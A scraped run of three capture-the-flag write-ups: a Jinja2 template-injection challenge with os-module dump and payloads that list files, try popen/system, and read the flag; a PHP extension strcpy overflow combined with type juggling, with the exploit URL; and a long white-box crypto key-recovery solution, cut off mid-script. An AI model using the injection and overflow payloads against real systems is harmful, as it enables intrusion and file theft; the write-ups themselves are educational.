the null device ('/dev/null', etc.)\n\nPrograms that import and use 'os' stand a better chance of being\nportable between different platforms. Of course, they must then\nonly use functions that are defined by all platforms (e.g., unlink\nand opendir), and leave all pathname manipulation to os.path\n(e.g., split and join).\n", 'minor': <built-in function minor>, 'getpid': <built-in function getpid>, 'fork': <built-in function fork>, 'isatty': <built-in function isatty>, 'execvpe': <function execvpe at 0x7fde0fdf2050>, 'O_LARGEFILE': 0, 'EX_NOPERM': 77, 'closerange': <built-in function closerange>, 'execvp': <function execvp at 0x7fde0fdf4f50>, 'WSTOPSIG': <built-in function WSTOPSIG>, 'getenv': <function getenv at 0x7fde0fd75b18>, 'sysconf_names': {'SC_REALTIME_SIGNALS': 9, 'SC_PII_OSI_COTS': 63, 'SC_PII_OSI': 57, 'SC_T_IOV_MAX': 66, 'SC_THREADS': 67, 'SC_AIO_MAX': 24, 'SC_USHRT_MAX': 118, 'SC_THREAD_KEYS_MAX': 74, 'SC_XOPEN_XPG4': 100, 'SC_SEM_VALUE_MAX': 33, 'SC_XOPEN_XPG2': 98, 'SC_XOPEN_XPG3': 99, 'SC_GETGR_R_SIZE_MAX': 69, 'SC_SEM_NSEMS_MAX': 32, 'SC_AVPHYS_PAGES': 86, 'SC_NL_NMAX': 122, 'SC_PAGESIZE': 30, 'SC_EXPR_NEST_MAX': 42, 'SC_XOPEN_LEGACY': 129, 'SC_SHRT_MAX': 113, 'SC_2_SW_DEV': 51, 'SC_SSIZE_MAX': 110, 'SC_RTSIG_MAX': 31, 'SC_THREAD_PRIO_INHERIT': 80, 'SC_EQUIV_CLASS_MAX': 41, 'SC_NL_ARGMAX': 119, 'SC_PII_OSI_CLTS': 64, 'SC_2_CHAR_TERM': 95, 'SC_THREAD_PROCESS_SHARED': 82, 'SC_VERSION': 29, 'SC_LONG_BIT': 106, 'SC_SIGQUEUE_MAX': 34, 'SC_ATEXIT_MAX': 87, 'SC_BC_BASE_MAX': 36, 'SC_SELECT': 59, 'SC_XOPEN_ENH_I18N': 93, 'SC_PAGE_SIZE': 30, 'SC_PII_XTI': 54, 'SC_MEMORY_PROTECTION': 19, 'SC_TIMER_MAX': 35, 'SC_AIO_LISTIO_MAX': 23, 'SC_UCHAR_MAX': 115, 'SC_SCHAR_MAX': 111, 'SC_2_UPE': 97, 'SC_NL_SETMAX': 123, 'SC_RE_DUP_MAX': 44, 'SC_BC_SCALE_MAX': 38, 'SC_TZNAME_MAX': 6, 'SC_LOGIN_NAME_MAX': 71, 'SC_NPROCESSORS_ONLN': 84, 'SC_SEMAPHORES': 21, 'SC_SAVED_IDS': 8, 'SC_XOPEN_SHM': 94, 'SC_2_FORT_RUN': 50, 'SC_XOPEN_VERSION': 89, 'SC_IOV_MAX': 60, 'SC_2_VERSION': 46, 'SC_THREAD_DESTRUCTOR_ITERATIONS': 73, 'SC_ASYNCHRONOUS_IO': 12, 'SC_MESSAGE_PASSING': 20, 'SC_CHILD_MAX': 1, 'SC_ULONG_MAX': 117, 'SC_2_C_VERSION': 96, 'SC_ARG_MAX': 0, 'SC_GETPW_R_SIZE_MAX': 70, 'SC_XOPEN_CRYPT': 92, 'SC_SCHAR_MIN': 112, 'SC_AIO_PRIO_DELTA_MAX': 25, 'SC_NL_LANGMAX': 120, 'SC_THREAD_STACK_MIN': 75, 'SC_CHAR_MIN': 103, 'SC_NL_TEXTMAX': 124, 'SC_STREAM_MAX': 5, 'SC_UIO_MAXIOV': 60, 'SC_MEMLOCK': 17, 'SC_NZERO': 109, 'SC_SHARED_MEMORY_OBJECTS': 22, 'SC_THREAD_THREADS_MAX': 76, 'SC_THREAD_ATTR_STACKADDR': 77, 'SC_INT_MIN': 105, 'SC_SHRT_MIN': 114, 'SC_COLL_WEIGHTS_MAX': 40, 'SC_THREAD_PRIORITY_SCHEDULING': 79, 'SC_THREAD_ATTR_STACKSIZE': 78, 'SC_PHYS_PAGES': 85, 'SC_JOB_CONTROL': 7, 'SC_FSYNC': 15, 'SC_CHARCLASS_NAME_MAX': 45, 'SC_XOPEN_UNIX': 91, 'SC_BC_DIM_MAX': 37, 'SC_PII_INTERNET_STREAM': 61, 'SC_MB_LEN_MAX': 108, 'SC_UINT_MAX': 116, 'SC_CHAR_BIT': 101, 'SC_XOPEN_REALTIME': 130, 'SC_MQ_OPEN_MAX': 27, 'SC_PII_OSI_M': 65, 'SC_PRIORITY_SCHEDULING': 10, 'SC_NGROUPS_MAX': 3, 'SC_MQ_PRIO_MAX': 28, 'SC_XBS5_LPBIG_OFFBIG': 128, 'SC_PII_SOCKET': 55, 'SC_MAPPED_FILES': 16, 'SC_PII_INTERNET_DGRAM': 62, 'SC_XBS5_LP64_OFF64': 127, 'SC_XOPEN_XCU_VERSION': 90, 'SC_OPEN_MAX': 4, 'SC_PRIORITIZED_IO': 13, 'SC_TTY_NAME_MAX': 72, 'SC_WORD_BIT': 107, 'SC_SYNCHRONIZED_IO': 14, 'SC_PASS_MAX': 88, 'SC_PII_INTERNET': 56, 'SC_LINE_MAX': 43, 'SC_XBS5_ILP32_OFF32': 125, 'SC_2_C_DEV': 48, 'SC_2_C_BIND': 47, 'SC_BC_STRING_MAX': 39, 'SC_THREAD_PRIO_PROTECT': 81, 'SC_CHAR_MAX': 102, 'SC_XBS5_ILP32_OFFBIG': 126, 'SC_2_LOCALEDEF': 52, 'SC_PII': 53, 'SC_POLL': 58, 'SC_2_FORT_DEV': 49, 'SC_INT_MAX': 104, 'SC_NPROCESSORS_CONF': 83, 'SC_DELAYTIMER_MAX': 26, 'SC_THREAD_SAFE_FUNCTIONS': 68, 'SC_MEMLOCK_RANGE': 18, 'SC_NL_MSGMAX': 121, 'SC_TIMERS': 11, 'SC_XOPEN_REALTIME_THREADS': 131, 'SC_CLK_TCK': 2}, 'link': <built-in function link>, 'execve': <built-in function execve>, 'wait4': <built-in function wait4>, 'O_SYNC': 1052672, 'chdir': <built-in function chdir>, 'wait3': <built-in function wait3>, '_make_statvfs_result': <function _make_statvfs_result at 0x7fde0fdfde60>, 'strerror': <built-in function strerror>, 'popen3': <function popen3 at 0x7fde0fdfd758>, 'abort': <built-in function abort>, 'setresuid': <built-in function setresuid>, 'error': <type 'exceptions.OSError'>, 'ftruncate': <built-in function ftruncate>, 'WUNTRACED': 2, 'setuid': <built-in function setuid>, 'EX_DATAERR': 65, 'curdir': '.', 'sysconf': <built-in function sysconf>, 'ST_NOATIME': 1024, 'W_OK': 2, 'EX_OK': 0, 'R_OK': 4, 'statvfs_result': <type 'posix.statvfs_result'>, 'O_NONBLOCK': 2048, 'confstr': <built-in function confstr>, 'path': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, 'WEXITSTATUS': <built-in function WEXITSTATUS>, 'EX_NOUSER': 67, 'pipe': <built-in function pipe>, 'chroot': <built-in function chroot>, 'getgroups': <built-in function getgroups>, 'spawnlpe': <function spawnlpe at 0x7fde0fdfd668>, 'geteuid': <built-in function geteuid>, 'spawnve': <function spawnve at 0x7fde0fdfd398>, 'setpgrp': <built-in function setpgrp>, '__package__': None, 'write': <built-in function write>, 'EX_UNAVAILABLE': 69, 'altsep': None, 'waitpid': <built-in function waitpid>, 'forkpty': <built-in function forkpty>, 'nice': <built-in function nice>, 'listdir': <built-in function listdir>, 'pathconf': <built-in function pathconf>, '_pickle_stat_result': <function _pickle_stat_result at 0x7fde0fdfdde8>, 'ST_RDONLY': 1, 'unsetenv': <built-in function unsetenv>, 'SEEK_SET': 0, 'spawnle': <function spawnle at 0x7fde0fdfd578>, 'O_RDONLY': 0, 'O_DIRECT': 16384, 'sys': <module 'sys' (built-in)>, 'pathconf_names': {'PC_MAX_INPUT': 2, 'PC_VDISABLE': 8, 'PC_SYNC_IO': 9, 'PC_SOCK_MAXBUF': 12, 'PC_NAME_MAX': 3, 'PC_MAX_CANON': 1, 'PC_PRIO_IO': 11, 'PC_CHOWN_RESTRICTED': 6, 'PC_ASYNC_IO': 10, 'PC_NO_TRUNC': 7, 'PC_FILESIZEBITS': 13, 'PC_LINK_MAX': 0, 'PC_PIPE_BUF': 5, 'PC_PATH_MAX': 4}, 'confstr_names': {'CS_XBS5_LP64_OFF64_CFLAGS': 1108, 'CS_LFS64_CFLAGS': 1004, 'CS_XBS5_LPBIG_OFFBIG_LIBS': 1114, 'CS_XBS5_ILP32_OFFBIG_LINTFLAGS': 1107, 'CS_XBS5_ILP32_OFF32_LIBS': 1102, 'CS_XBS5_ILP32_OFF32_LINTFLAGS': 1103, 'CS_LFS64_LIBS': 1006, 'CS_XBS5_ILP32_OFF32_CFLAGS': 1100, 'CS_XBS5_ILP32_OFFBIG_CFLAGS': 1104, 'CS_LFS_LDFLAGS': 1001, 'CS_LFS_LINTFLAGS': 1003, 'CS_LFS_LIBS': 1002, 'CS_PATH': 0, 'CS_LFS64_LINTFLAGS': 1007, 'CS_LFS_CFLAGS': 1000, 'CS_LFS64_LDFLAGS': 1005, 'CS_XBS5_ILP32_OFFBIG_LIBS': 1106, 'CS_XBS5_ILP32_OFF32_LDFLAGS': 1101, 'CS_XBS5_LPBIG_OFFBIG_LINTFLAGS': 1115, 'CS_XBS5_ILP32_OFFBIG_LDFLAGS': 1105, 'CS_XBS5_LP64_OFF64_LINTFLAGS': 1111, 'CS_XBS5_LP64_OFF64_LIBS': 1110, 'CS_XBS5_LPBIG_OFFBIG_CFLAGS': 1112, 'CS_XBS5_LPBIG_OFFBIG_LDFLAGS': 1113, 'CS_XBS5_LP64_OFF64_LDFLAGS': 1109}, 'setgroups': <built-in function setgroups>, 'unlink': <built-in function unlink>, 'tcgetpgrp': <built-in function tcgetpgrp>, 'spawnlp': <function spawnlp at 0x7fde0fdfd5f0>, 'spawnl': <function spawnl at 0x7fde0fdfd500>, 'EX_PROTOCOL': 76, 'getuid': <built-in function getuid>, 'spawnvp': <function spawnvp at 0x7fde0fdfd410>, 'X_OK': 1, 'O_EXCL': 128, 'fpathconf': <built-in function fpathconf>, 'chown': <built-in function chown>, 'environ': {'LANG': 'en_US.UTF-8', 'SUPERVISOR_SERVER_URL': 'unix:///var/run/supervisor.sock', 'LANGUAGE': 'en_US:en', 'SERVER_SOFTWARE': 'gunicorn/19.9.0', 'SUPERVISOR_ENABLED': '1', 'SUPERVISOR_PROCESS_NAME': 'app', 'SUPERVISOR_GROUP_NAME': 'app', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'}, 'O_NDELAY': 2048, 'EX_CONFIG': 78, 'EX_USAGE': 64, 'ST_NODEV': 4}```
↓
`listdir()` is discovered !!
---
```GET /{{url_for.__globals__.os.__dict__.listdir('./')}}```
↓
```['app.py', 'flag_secret_file_910230912900891283']```
↓
flag is discovered!!
---
## 【Find a way to read flag】
### **1.Try via the OS command execution function**
```GET /{{url_for.__globals__.os.__dict__.popen('ls').read()}} ⇒500エラー WAFGET /{{url_for.__globals__.os.__dict__.system('ls').read()}} ⇒500エラー WAF```
↓
It was impossible via the OS command...
---
### **2.Try via file manipulation function**
```GET /{{url_for.__globals__.__builtins__.open('flag_secret_file_910230912900891283').read()}} ```
↓
`flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}` |
This challenge is a PHP Challenge with source code access and an extension, that implemented a custom auth function The extension wasn't stripped so we could easily disasemble and figure out what's happening in IDA :
Auth function :```CPhp::Parameters *__fastcall auth(Php::Parameters *a1, __int64 a2){ __int64 v2; // rax@1 const char *v3; // rax@1 Php::Parameters *result; // rax@1 __int64 v5; // rbx@1 char dest; // [sp+10h] [bp-60h]@1 char v7[8]; // [sp+30h] [bp-40h]@1 __int64 v8; // [sp+58h] [bp-18h]@1
v8 = *MK_FP(__FS__, 40LL); strcpy(v7, "21232f297a57a5a743894a0e4a801fc3"); LODWORD(v2) = std::vector<Php::Value,std::allocator<Php::Value>>::operator[](a2, 1LL); LODWORD(v3) = Php::Value::operator char const*(v2); strcpy(&dest, v3); Php::Value::Value(a1, v7, -1); result = a1; v5 = *MK_FP(__FS__, 40LL) ^ v8; return result;}```
The strcpy call will copy the second argument to the dest buffer, no size checking so this is a clear buffer overflowThe function will return what's in v7 array which is by default initialized as "21232f297a57a5a743894a0e4a801fc3"The space between v7 and dest is ($bp-0x40) - ($bp-0x60) = 0x20 so if we write more than 0x20(32) chars into the dest buffer we can overflow the v7 buffer , thus controlling what's the function is returning .Now let's move to the php bug, which is a trivial php type juggling, and since we control $digest value, we can make it equal to magic hash value, and exploit the type juggling vulnerability at the [line](https://github.com/DefConUA/HackIT2018/blob/master/web/PeeHPee/index.php#L17):
Using : http://host/?u=240610708&p=AAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBQNKCDZO |
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# ICON 2018 CTF Quals Crypto ChallengeAuthor: \_MH\_
## Task materialThe task has no description. We are given the following script (not shortened version [here](./assets/wb.py)):
```python#!/usr/bin/env python3
import base64import structimport zlibimport pickle
data = # [I left away 13590 lines of data for the gigantic table here]
tables = pickle.loads(zlib.decompress(base64.decodestring(data)))
def encrypt(pt): state = pt[8:] + pt[:8] for i in range(32): r = 0 x2 = [0] * 16 for j in range(16): s = 0 for k in range(16): s ^= tables[0][i][j][k][state[k]] x2[j] = s state = x2 for j in range(8): a = tables[1][i][state[j] * 512 + state[j+8] * 2 + r] r = (a & 0x100) >> 8 state[j] = a & 0xff x2 = [0] * 16 for j in range(16): s = 0 for k in range(16): s ^= tables[2][i][j][k][state[k]] x2[j] = s state = x2 return bytes(state[8:]+state[:8])
def ror64(x, r): return (x >> r) | (x << (64-r)) & 0xffffffffffffffff
def rol64(x, r): return (x << r) | (x >> (64-r)) & 0xffffffffffffffff
def r(x, y, k): x = ror64(x, 8) x += y x &= 0xffffffffffffffff x ^= k y = rol64(y, 3) y &= 0xffffffffffffffff y ^= x return x, y
def encrypt_ref(pt, k): y, x = struct.unpack('<2Q', pt) b, a = struct.unpack('<2Q', k) x, y = r(x, y, b) for i in range(31): a, b = r(a, b, i) x, y = r(x, y, b)
return struct.pack('<2Q',y, x)
def challenge(): pt = input('plaintext: ') key = input('key: ') if len(pt) != 16 or len(key) != 16: print('Expecting 16 bytes inputs') return ct1 = encrypt_ref(bytes(pt, 'utf-8'), bytes(key, 'utf-8')) ct2 = encrypt(bytes(pt, 'utf-8')) if ct1 == ct2: print ("Congratulations ! use", key, "as flag") else: print ("Please try again !")if __name__ == '__main__': challenge()```
### What is the task?Let's look at `challenge()`: We're asked to input a plaintext (saved in `pt`) and a key. Then two functions are called, `encrypt_ref()` and `encrypt()`. The produced ciphertexts of the two, `ct1` and `ct2`, have to be the same. From that we gather that we have to find the `key` that makes `encrypt_ref()` equivalent to `encrypt()`. Since `encrypt()` does not use `key`, it suggests that it has the key somehow hardcoded in its functionalities. We have to find out what it does and extract that key.
## SolutionLet's first understand how `encrypt_ref()` and `encrypt()` work.
### Encrypt_ref`encrypt_ref()` applies r() multiple times, to both the key and the plaintext.```pythondef encrypt_ref(pt, k): y, x = struct.unpack('<2Q', pt) b, a = struct.unpack('<2Q', k) x, y = r(x, y, b) for i in range(31): a, b = r(a, b, i) x, y = r(x, y, b)
return struct.pack('<2Q',y, x)````r()` itself applies a series of simple operations as commented below. This function is really the core of the encryption and will also be key to understand what `encrypt()` does.```pythondef r(x, y, k): # Move last byte (calling the lsb in little endain # the last byte) to the front x = ror64(x, 8)
# Add other half of plaintext x += y
# Clear overflow (now exactly 8 bytes again) x &= 0xffffffffffffffff
# XOR with k (part of the key) x ^= k
# Move first 3 bits to back y = rol64(y, 3) y &= 0xffffffffffffffff # XOR changed x to it y ^= x return x, y```
### EncryptThat function is _way more difficult_. After hours of studying, it crystallises that the function really does the same as `encrypt_ref()`, i.e. in each iteration it does basically the same operations as `encrypt()` in `r()`, except that it does them in an obfuscated way using the table, in a slightly different order and one operation is even spread over two iterations of the loop. I try to explain in detail how it works.
To be clear, with _iteration_ I refer to one pass of the outermost loop `for i in range(32)`.
The table has the following dimensions:```tables[0] :: 32 x 16 x 16 x 256tables[1] :: 32 x 131072tables[2] :: 32 x 16 x 16 x 256``` Before reporting what I found what the code does, maybe it makes sense to make an intermezzo about how I tried to find out and in the end also got what the code does with the table. (If your only interested in the solution to this task, you can skip the intermezzo if you like).
#### Intermezzo: Analysis and connection of sequences & XORI looked at the entries of the table for the first iteration. Specifically first for `i = 0, j = 0, k = 0..15, s = 0..255` (for the last I test all possible entries for `state[k]`, from `0` to `255` (incl.), because we don't know which value we'll have there). I was sure that there has to be a pattern, so I wanted to express it as a sequence. The idea was to build a mathematical formula of how the x and y change after the first iteration. I hoped to be able to reduce that formula to a shorter, simpler version that tells me what the iteration actually does.
For example one sequence looked like this (for `state[k] = 0..11`):```28 29 30 3124 25 26 2720 21 22 23...```Which I found to be the following sequence:```seq(28, n) := 28 + n - (n//4)*8 + (n//32)*64```Which actually caused a lot of problems. The issue is that the integer divisions (`//` in python) _floor_ the number, making it a real pain to work with the sequences, not to mention to reduce them to a simpler form.
Some hours later, I finally noticed that this sequence is actually *equivalent* to a simple `^ 28` (XOR). I never realised this connection before and I also don't think you were expected to know or even realise this to solve the challenge. I rather think you should have seen/guessed that the values in the table were just XORs with a certain value.
Nevertheless, after first realising that connection, I looked into it a bit more and found the following rules to turn an XOR with a number (looking at the number in binary) to a sequence as the one above:
- For every change from 0 to 1 or 1 to 0, there is a term in the sequence - If at pos `i` we have the first time a 0 after having 1's (or vice versa) then the sequence has the term `(n//(1 << i) )*(1 << (i+1))` - The sign of the term is positive iff the change is from 1's to 0's - The lsb is a 0, then it is `+ n`, otherwise `- n`
Example:`def seq(n): return 28 + n - (n//4)*8 + (n//32)*64`is actually `XOR 28` because `bin(28) = 0b11100`so we have the following: - The lsb is a zero, so `+ n`
and at pos 2 a change from 0 to 1, which means: - Negative sign - `(n//4)*8`
and at pos 5 a change from 1's to 0's: - Positive sign - `(n//32)*64`
Of course this is not necessary to find out what XOR a sequence represents. The first entry is `k XOR 0 = k` so you can just read of that the sequence is equivalent to an `XOR k` (that is if you know that the sequence represents some XOR).
#### Encrypt - Loop 1Back to the `encrypt()` function. Let's start with the first loop.```pythonfor j in range(16): s = 0
for k in range(16): s ^= tables[0][i][j][k][state[k]] x2[j] = s state = x2```
This loops does multiple steps:
- (all i): XOR the x's and y's all with the same value (for the y's this is written as a sequence, as explained) - (all i): Does the ror64(x, 8), i.e. transforms `[x[0], x[1], ..., x[7]]` to `[x[1], ..., x[7], x[0]]` - (i > 0): XOR the x's with the second part of the key - (i > 0): XOR also the y's, because they were XORed with the half finished x's in loop 3 of the previous iteration (see below)
#### Encrypt - Loop 2Note that for this loop the table has different dimensions than for the other two loops.```pythonfor j in range(8): a = tables[1][i][state[j] * 512 + state[j+8] * 2 + r]
# I guess r is for when the addition overflows. But # depending on the plaintext you choose it's never used. r = (a & 0x100) >> 8
# cut off overflow state[j] = a & 0xff```
The entries of the table follow the same schema for all `i`, but with different sequences/xors.
I explain it using the example for `i = 0`:
For the following sequence:`seq(start, n) := start + n - (n//4)*8 + (n//32)*64`The entries in the table are built using a nested sequence:`tables[1][0][s1 * 512 + s2*2] = seq(seq(56, s1), s2)`
That is actually equivalent to: `(s1 ^ 28) + (s2 ^ 28)`Proof:``` seq(seq(56, s1), s2) = seq(seq(28+28, s1), s2)= seq(28 + seq(28, s1), s2) (see def. of seq)= seq(28 + (28 ^ s1), s2) (see the intermezzo above)= (28 ^ s1) + seq(28, s2) (def. of seq again)= (28 ^ s1) + (28 ^ s2)```
Because the x's and y's are always XORed with that value in the first loop (or the value they are XORed with has an XOR with that value taken into account), this *always* (i.e. in all iterations) simplifies to `x += y` which is equivalent to the `x += y` of `r()` (also in the sense that the added x's and y's are at this point the same as in `r()`, this will be important to recover the key).
#### Encrypt - Loop 3```pythonx2 = [0] * 16for j in range(16): s = 0 for k in range(16): s ^= tables[2][i][j][k][state[k]] x2[j] = sstate = x2```This loop does the following:- XOR the x's with the first part of the key- Do the `rol64(y, 3)` on the y's, which involves two XORs, e.g. `(y[0] << 3) ^ (y[7] >> 5)`- Also do `y ^= x` (where x is the x that is XORed with part 1 of the key)
### Reversing `encrypt_ref()`After understanding `encrypt()` and `encrypt_ref()` I can now explain my solution. I actually reversed `encrypt_ref()` somewhere during analysing `encrypt()`, because I hoped it gives me a clearer idea what to look for. Which it did, because instead of reversing the function to decrypt a ciphertext (which would need the key and is therefore not useful to us) I wrote `rev_encrypt_ref()` that recovers the key itself. For that it becomes apparent, that we need all intermediate x's and y's, i.e. those of the start (the plaintext), those after each iteration (after each call to `r()`) and those of the ciphertext in the end.
`rev_encrypt_ref()` uses some helper functions:- `revR()` reverses `r()` and is very easy, with `ror64` and `rol64` the inverse functions are already provided for us. The rest is obvious.- `calcK()` calculates the `k` which was XORed to the `x` in `r()`. This is not to be confused with the `key`, since in `encrypt_ref()` in each iteration we also apply `r()` to the `key`. But we need to recover all intermediate versions of `k`. This is also why we need all versions of the x's and y's, because then we can do the operations of `r()` for the old x up to the last change, which is `x_old' ^= k` and then just recover `k = x_old' ^ x_new`.- `calcXNew()` just as easy as `calcK()`
In the end this looks like this:```python''' Reverses the effect of r()'''def revR(x, y, k): y ^= x y = ror64(y, 3) y &= 0xffffffffffffffff x ^= k x -= y x = rol64(x, 8) x &= 0xffffffffffffffff return x, y ''' Calculate the k of xNew, yNew = r(xOld, yOld, k) '''def calcK(xNew, xOld, yOld): xOld = ror64(xOld, 8) xOld += yOld xOld &= 0xffffffffffffffff k = xNew ^ xOld
return k
''' Calculate the xNew of xNew, yNew = r(xOld, yOld, k) '''def calcXNew(yOld, yNew): yOld = rol64(yOld, 3) yOld &= 0xffffffffffffffff x = yNew ^ yOld return x
''' Reverse encrypt to get back the key
Input: List of all x's and y's of the intermediate iterations of encrypt_ref Output: Original key'''def rev_encrypt_ref(xList, yList): xPlain, yPlain = xList[31], yList[31] xEnc, yEnc = xList[32], yList[32] bEnc = calcK(xEnc, xPlain, yPlain)
for i in reversed(range(31)): xEnc, yEnc = xPlain, yPlain xPlain, yPlain = xList[i], yList[i] bPlain = calcK(xEnc, xPlain, yPlain)
aEnc = calcXNew(bPlain, bEnc)
aPlain, bPlain = revR(aEnc, bEnc, i) bEnc = bPlain```
But we still need all intermediate x's and y's. After analysing the for loops in `encrypt_ref()`, we know that we can't take the x's and y's at the end of each iteration, because they are not finished then. We actually need to take those after the first loop. But we need to do two things:- XOR again with the value that the first loop XORed all x's and y's for obfuscation (remember that XOR is removed again by the second loop).- Reverse the effect of `ror64(x, 8)`, because that is already done in the first loop for the next iteration of `r()`
In the first iteration this gives us the original, plaintext x and y, after that we get the x's and y's of the iterations of `encrypt_ref()`. The last values of x and y, those of the ciphertext have to be added as a special case (they don't have a next iteration with a first loop).
All together this was my final solution (unshortened [here](./assets/wb-sol1.py)):```python#!/usr/bin/env python3
import base64import structimport zlibimport pickle
data = # [I left away 13590 lines of data for the gigantic table here]
''' The table has the dimension: tables[0] :: 32 x 16 x 16 x 256 tables[1] :: 32 x 131072 tables[2] :: 32 x 16 x 16 x 256'''tables = pickle.loads(zlib.decompress(base64.decodestring(data)))
''' helper function to convert encrypt array to encrypt_ref longs'''def convXY(state): ct = bytes(state[8:]+state[:8]) y, x = struct.unpack('<2Q', ct)
return x, y
def encrypt(pt, debug = False): state = pt[8:] + pt[:8]
''' Save all intermediate values of x's and y's (the values that are the same as in r()). And use them then to recover the key with the reversed encrypt_ref. ''' xList, yList = [0]*33, [0]*33 if debug: xp, yp = convXY(state) print("Initial: \tx = {0}, y = {1}".format(hex(xp), hex(yp)))
for i in range(32): r = 0 x2 = [0] * 16
for j in range(16): s = 0
for k in range(16): s ^= tables[0][i][j][k][state[k]] x2[j] = s state = x2
x3 = x2.copy() for k in range(16): x3[k] ^= tables[0][i][0][0][0] xp, yp = convXY(x3)
xList[i] = rol64(xp, 8) & 0xffffffffffffffff yList[i] = yp
if debug: print("encrypt after 1. loop (xor rev): \tx = {0}, y = {1}".format(xList[i], yList[i]))
for j in range(8): a = tables[1][i][state[j] * 512 + state[j+8] * 2 + r]
# Overflow r = (a & 0x100) >> 8
# Cut off overflow state[j] = a & 0xff
if debug: xp, yp = convXY(state) print("encrypt after 2. loop: \tx = {0}, y = {1}".format(hex(xp), hex(yp)))
x2 = [0] * 16 for j in range(16): s = 0 for k in range(16): s ^= tables[2][i][j][k][state[k]] x2[j] = s state = x2
if debug: xp, yp = convXY(state) print("encrypt after 3. loop: \tx = {0}, y = {1}".format(hex(xp), hex(yp))) xp, yp = convXY(state) yList[32], xList[32] = convXY(state)
# Switch the 8 byte blocks back return bytes(state[8:]+state[:8]), xList, yList
''' Put the lowest (little endian) r bits to the front. E.g. XX....XYY..Y is transformed to YY..YXX....X for r Y's and 64-r X's, Y's are put to the front'''def ror64(x, r): return (x >> r) | (x << (64-r)) & 0xffffffffffffffff
''' Put the highest r bits (little endian) to the back. E.g. YY..YXX....X is transformed to XX....XYY..Y for r Y's and 64-r X's, again Y's are moved.'''def rol64(x, r): return (x << r) | (x >> (64-r)) & 0xffffffffffffffff
def r(x, y, k): # Move last byte to front x = ror64(x, 8)
# Add other half of plaintext x += y
# Clear overflow x &= 0xffffffffffffffff
# XOR with k (part of the key) x ^= k
# Move first 3 bits to back y = rol64(y, 3) y &= 0xffffffffffffffff # XOR changed x to it y ^= x return x, y
''' Calculate the k of xNew, yNew = r(xOld, yOld, k) '''def calcK(xNew, xOld, yOld): xOld = ror64(xOld, 8) xOld += yOld xOld &= 0xffffffffffffffff k = xNew ^ xOld
return k
''' Calculate the xNew of xNew, yNew = r(xOld, yOld, k) '''def calcXNew(yOld, yNew): yOld = rol64(yOld, 3) yOld &= 0xffffffffffffffff x = yNew ^ yOld return x
''' Reverses the effect of r()'''def revR(x, y, k): y ^= x y = ror64(y, 3) y &= 0xffffffffffffffff x ^= k x -= y x = rol64(x, 8) x &= 0xffffffffffffffff return x, y
''' Reverse encrypt to get back the key
Input: List of all x's and y's of the intermediate iterations of encrypt_ref Output: Original key'''def rev_encrypt_ref(xList, yList): xPlain, yPlain = xList[31], yList[31] xEnc, yEnc = xList[32], yList[32] bEnc = calcK(xEnc, xPlain, yPlain)
for i in reversed(range(31)): xEnc, yEnc = xPlain, yPlain xPlain, yPlain = xList[i], yList[i] bPlain = calcK(xEnc, xPlain, yPlain)
aEnc = calcXNew(bPlain, bEnc)
aPlain, bPlain = revR(aEnc, bEnc, i) bEnc = bPlain
return struct.pack('<2Q', bPlain, aPlain)
def encrypt_ref(pt, k, debug = False): # Interpret the plaintext and the key as two unsigned long long y, x = struct.unpack('<2Q', pt) b, a = struct.unpack('<2Q', k)
''' Apply r() multiple times. To both the key and the plaintext. If we had x, y from before and after an application of r() we could easily calculate the k from xNew, yNew = r(xOld, yOld, k) '''
if debug: print("x, y = {}, {}".format(hex(x),hex(y)))
x, y = r(x, y, b)
for i in range(31): if debug: print("x, y = {}, {}".format(hex(x),hex(y)))
a, b = r(a, b, i) x, y = r(x, y, b) return struct.pack('<2Q',y, x)
''' Call two encryption methods, "encrypt_ref()" and "encrypt()". The goal is that they create the same ciphertext. Interestingly, "encrypt" does not use the "key" that you provide instead it uses the gigantic table from above.'''def challenge(): ''' Commented out, because it goes faster. also you calculate the key and the pt is irrelevant, so you can choose a good fixed one like all \x00 ''' # pt = input('plaintext: ') # key = input('key: ') # if len(pt) != 16 or len(key) != 16: # print('Expecting 16 bytes inputs') # return # ptBytes = bytes(pt, 'utf-8')
# Choose fixed pt ptBytes = b'\x00'*16
# Call encrypt to get the list with all # intermediate values of x and y ct2, xList, yList = encrypt(ptBytes)
print("Recovered the following key: ") keyBytes = rev_encrypt_ref(xList, yList) key = str(keyBytes, 'utf-8') print(key)
ct1 = encrypt_ref(ptBytes, bytes(key, 'utf-8'))
if ct1 == ct2: print ("Congratulations ! use", key, "as flag") else: print ("Please try again !")if __name__ == '__main__': challenge()
```
## Solution 2I actually have another solution which I could't get to work before the first solution. I had the right characters, but they were mixed up and only after I saw the flag using the first solution I could fix the two indices that were off (only two and I wasted so much time...).Anyways I quickly present that solution, because it is shorter and nicer in my opinion.
We exploit that we can decide which plaintext we encrypt and also look what values x and y have after the first iteration of `encrypt()` and not only at the end.The idea is to use all zero bytes as input. Remember the core function `r()`:
```pythondef r(x, y, k): x = ror64(x, 8) x += y x &= 0xffffffffffffffff x ^= k y = rol64(y, 3) y &= 0xffffffffffffffff y ^= x return x, y```
If `x = 0` and `y = 0` then `x += y` is also zero, so `x ^= k` is actually just `k`, which is half the key.The only problem is that `encrypt()` does that a bit different, as already described in detail above. In `encrypt()` after the first iteration, `x` is only part of `k`. The second part is added in the first loop of the next iteration. To get that, we need to execute the first loop. But this loop also XORs the distraction value (lets say `D`) that is removed in the second loop. So instead of executing the first loop of the second iteration also on all zero bytes, we execute it with values `D` for all x's. This way the distraction XOR cancels out and what remains is the second part of the key.We have to be careful though, because the first loop already does the `ror64()` shifting, we must take that into account when combining the parts of the key. This gives us half the key, the first `b` from ```pythondef encrypt_ref(pt, k): y, x = struct.unpack('<2Q', pt) b, a = struct.unpack('<2Q', k)
x, y = r(x, y, b) for i in range(31): a, b = r(a, b, i) x, y = r(x, y, b)
return struct.pack('<2Q',y, x)```
Since `a` is only used to encrypt the key and therefore actually never appears in `encrypt()` (because the keys of each step are hardcoded in the table) we calculate the next `b` and then use the functions from the previous solutions to recover `a`.
The masterplan is this:- Recover first `b` of the key- Recover `b'` of `a', b' = r(a, b, 0)`- With `b`, `b'` recover `a'`- With `revR()` recover `a, b = revR(a', b', 0)`- `b, a` is the key!
This solution looks like this (unshortened [here](./assets/wb-sol2.py)):```python#!/usr/bin/env python3
import base64import structimport zlibimport pickle
data = # [I left away 13590 lines of data for gigantic table here]
